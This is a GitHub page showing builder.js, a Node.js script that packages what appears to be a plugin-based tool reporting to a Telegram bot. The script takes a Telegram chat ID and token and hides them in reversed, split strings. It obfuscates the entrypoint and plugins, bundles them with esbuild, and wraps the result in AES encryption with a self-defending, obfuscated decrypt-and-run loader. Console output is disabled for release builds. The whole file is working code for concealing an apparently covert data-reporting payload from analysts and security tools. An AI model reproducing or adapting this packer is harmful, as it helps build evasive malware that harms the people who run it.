-
Notifications
You must be signed in to change notification settings - Fork 6
/
builder.js
executable file
·276 lines (242 loc) · 9.61 KB
/
builder.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
// @ts-check
const fs = require('fs-extra')
const path = require('path')
const esbuild = require('esbuild')
const argv = require('minimist')(process.argv.slice(2))
const crypto = require('crypto')
const JavaScriptObfuscator = require('javascript-obfuscator')
const helpMsg =
'Usage: node builder.js --chatId=<telegram_chat_id> --token=<telegram_token> [--no-random-delays] [--disabled-plugins=<plugin1,plugin2,...>] [--debug]'
if (argv.help || argv.h) {
console.log(helpMsg)
process.exit(0)
}
if (argv.length < 2) {
console.error(`Error: Pass the Telegram chat ID and token as arguments\n${helpMsg}`)
process.exit(1)
}
const CHAT_ID = `${argv.chatId}`
const TOKEN = argv.token
const DEBUG = argv.debug
const RANDOM_DELAYS = argv['random-delays']
const DISABLED_PLUGINS = new Set((argv['disabled-plugins'] || '').split(',').filter(x => x))
/** @type {any} */
const obfuscationOptions = {
compact: true,
controlFlowFlattening: true,
controlFlowFlatteningThreshold: 1,
deadCodeInjection: true,
deadCodeInjectionThreshold: 1,
identifierNamesGenerator: 'hexadecimal',
renameGlobals: true,
// selfDefending: true,
splitStrings: true,
splitStringsChunkLength: 2,
stringArray: true,
// stringArrayEncoding: ['base64'], // makes it crash when packed with pkg
stringArrayThreshold: 0.9,
target: 'node',
transformObjectKeys: true,
ignoreImports: true,
disableConsoleOutput: DEBUG ? false : true,
numbersToExpressions: true,
stringArrayCallsTransform: true,
stringArrayRotate: true,
stringArrayShuffle: true,
stringArrayWrappersCount: 5,
stringArrayWrappersChainedCalls: true,
stringArrayWrappersParametersMaxCount: 5,
stringArrayWrappersType: 'function',
unicodeEscapeSequence: true
}
/**
* Encrypts text by given key
* @param {string} text to encrypt
* @param {Buffer | string} masterkey
* @returns {string} encrypted text, base64 encoded
* @see https://gist.github.com/rigwild/a4f4cf1527bc044dbbc92f37f727484e
*/
function encrypt(text, masterkey) {
// random initialization vector
const iv = crypto.randomBytes(16)
// random salt
const salt = crypto.randomBytes(64)
// derive encryption key: 32 byte key length
// in assumption the masterkey is a cryptographic and NOT a password there is no need for
// a large number of iterations. It may can replaced by HKDF
// the value of 2145 is randomly chosen!
const key = crypto.pbkdf2Sync(masterkey, salt, 2145, 32, 'sha512')
// AES 256 GCM Mode
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv)
// encrypt the given text
const encrypted = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()])
// extract the auth tag
const tag = cipher.getAuthTag()
// generate output
return Buffer.concat([salt, iv, tag, encrypted]).toString('base64')
}
/**
* Decrypts text by given key
* @param {string} encdata encoded input data
* @param {Buffer | string} masterkey
* @returns {string} decrypted (original) text
* @see https://gist.github.com/rigwild/a4f4cf1527bc044dbbc92f37f727484e
*/
function decrypt(encdata, masterkey) {
// base64 decoding
const bData = Buffer.from(encdata, 'base64')
// convert data to buffers
const salt = bData.slice(0, 64)
const iv = bData.slice(64, 80)
const tag = bData.slice(80, 96)
const text = bData.slice(96)
// derive key using; 32 byte key length
const key = crypto.pbkdf2Sync(masterkey, salt, 2145, 32, 'sha512')
// AES 256 GCM Mode
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv)
decipher.setAuthTag(tag)
// encrypt the given text
const decrypted = /** @type {any} */ (decipher).update(text, 'binary', 'utf8') + decipher.final('utf8')
return decrypted
}
/** @returns {Promise<string[]>} */
async function walkFs(dir) {
const dirFiles = await fs.promises.readdir(dir)
const files = await Promise.all(
dirFiles.map(async file => {
const filePath = path.join(dir, file)
const stats = await fs.promises.stat(filePath)
if (stats.isDirectory()) return walkFs(filePath)
else if (stats.isFile()) return filePath
})
)
// @ts-ignore
return files.reduce((all, folderContents) => all.concat(folderContents), [])
}
const obfuscatedDir = path.resolve(__dirname, 'obfuscated')
const entrypoint = path.resolve(__dirname, 'index.js')
const entrypointObf = path.resolve(obfuscatedDir, 'index.js')
const pluginsDir = path.resolve(__dirname, 'plugins')
const pluginsDirObf = path.resolve(obfuscatedDir, 'plugins')
const validPlugins = fs
.readdirSync(pluginsDir, { withFileTypes: true })
.filter(dir => {
let ok = dir.isDirectory() && dir.name.endsWith('-plugin')
if (ok && DISABLED_PLUGINS.has(dir.name)) {
// console.log(`DISABLED PLUGIN: ${dir.name}`)
return false
}
ok &&= fs.readdirSync(path.resolve(pluginsDir, dir.name)).includes('lib.js')
return ok
})
.map(dir => dir.name)
;(async () => {
await fs.rm(obfuscatedDir, { recursive: true }).catch(() => {})
await fs.mkdir(obfuscatedDir, { recursive: true })
let entrypointCode = await fs.readFile(entrypoint, 'utf8')
// Replace dynamic imports with explicit imports for esbuild
entrypointCode = entrypointCode.replace(
/const plugins = fs[\s\S]*? \(\{\}\)\)/g,
`const plugins = {
${validPlugins
.map(pluginName => {
return `'${pluginName}': (() => {
console.log(' [${pluginName}]... ')
return require('./plugins/${pluginName}/lib.js')
})()`
})
.join(',\n')}
}
`
)
console.log('Replaced dynamic imports with explicit static imports')
// Insert and weirdly hide the telegram chatId and token
// prettier-ignore
entrypointCode = entrypointCode.replace(
/run\(\'.*?\', \'.*?\', .*?\)/,
`
let c='${`${CHAT_ID.split('').reverse().join(',')}+${TOKEN.split('').reverse().join('~')}`.split('').reverse().join('#')}';
run(c.split('#').reverse().join('').split('+')[0].split(',').reverse().join(''),c.split('#').reverse().join('').split('+')[1].split('~').reverse().join(''),${RANDOM_DELAYS});
`
)
await fs.writeFile(entrypointObf, entrypointCode, 'utf8')
await fs.copy(path.resolve(__dirname, 'package.json'), path.resolve(obfuscatedDir, 'package.json'))
await fs.copy(pluginsDir, pluginsDirObf)
if (DEBUG) await fs.writeFile(entrypointObf.split('.js')[0] + '_unencrypted_debug.js', entrypointCode, 'utf8')
console.log(`Copied entrypoint and plugins to ${obfuscatedDir}`)
if (DISABLED_PLUGINS.size > 0) {
console.log(`DISABLED PLUGINS: ${[...DISABLED_PLUGINS].join(', ')}`)
DISABLED_PLUGINS.forEach(pluginName => fs.rmSync(path.resolve(pluginsDirObf, pluginName), { recursive: true }))
}
// Obfuscate code before bundling and encryption
entrypointCode = JavaScriptObfuscator.obfuscate(entrypointCode, obfuscationOptions).getObfuscatedCode()
await fs.writeFile(entrypointObf, entrypointCode, 'utf8')
console.log(`Obfuscated entrypoint to ${entrypointObf}`)
// Do the same for plugins
validPlugins.forEach(pluginName => {
const libPath = path.resolve(pluginsDirObf, pluginName, 'lib.js')
const pluginCode = fs.readFileSync(libPath, 'utf8')
fs.writeFileSync(
libPath,
JavaScriptObfuscator.obfuscate(pluginCode, obfuscationOptions).getObfuscatedCode(),
'utf8'
)
console.log(`Obfuscated plugin [${pluginName}] to ${libPath}`)
})
// Bundle the entrypoint and all the plugins together
entrypointCode = await esbuild
.build({
entryPoints: [entrypointObf],
bundle: true,
platform: 'node',
write: false,
absWorkingDir: obfuscatedDir
})
.then(res => res.outputFiles[0].text)
await fs.writeFile(entrypointObf, entrypointCode, 'utf8')
console.log('Bundled entrypoint and plugins together')
// Encrypt bundle
// Manual hack in the esbuild output bundle or the decryption would fail for native modules!! (fuck me)
entrypointCode = entrypointCode.replace(
/if \(\!opts\.module_root\) \{[\s\S]*?\}/g,
'if (!opts.module_root) { opts.module_root = __dirname }'
)
// Random encryption secret key
const secret = [...Array(50)].map(() => Math.random().toString(36)[2]).join('')
const key = crypto.createHash('sha256').update(String(secret)).digest('base64').substr(0, 32)
entrypointCode = `
const crypto = require('crypto')
${decrypt.toString()}
const decrypted = decrypt(\`${encrypt(entrypointCode, key)}\`, '${key}')
new Function('require', '__dirname', '__filename', decrypted)(require, __dirname, __filename);
`
await fs.writeFile(entrypointObf, entrypointCode, 'utf8')
console.log(`Encrypted bundle to ${entrypointObf}`)
// Obfuscate loader/decryptor code
// Do not split strings as encrypted data is very big
entrypointCode = JavaScriptObfuscator.obfuscate(entrypointCode, {
...obfuscationOptions,
selfDefending: true,
splitStrings: false
}).getObfuscatedCode()
await fs.writeFile(entrypointObf, entrypointCode, 'utf8')
console.log(`Obfuscated the decryptor to ${entrypointObf}`)
// Copy native modules to obfuscated directory
const nativeModules = (await walkFs(path.resolve(__dirname, 'node_modules'))).filter(file => file.endsWith('.node'))
// TODO: Do not copy the native modules related to disabled plugins
if (nativeModules.length > 0) {
console.log('Copying native modules:')
console.log(nativeModules.map(x => ` ${x}`).join('\n'))
await Promise.all(
nativeModules.map(async nativeModule =>
fs.copy(nativeModule, path.resolve(obfuscatedDir, 'build', path.basename(nativeModule)))
)
)
}
// Remove all plugins from the obfuscated directory as they are now useless
await fs.rm(pluginsDirObf, { recursive: true })
console.log('Done! ✌️')
})().catch(err => {
console.error(err)
process.exit(1)
})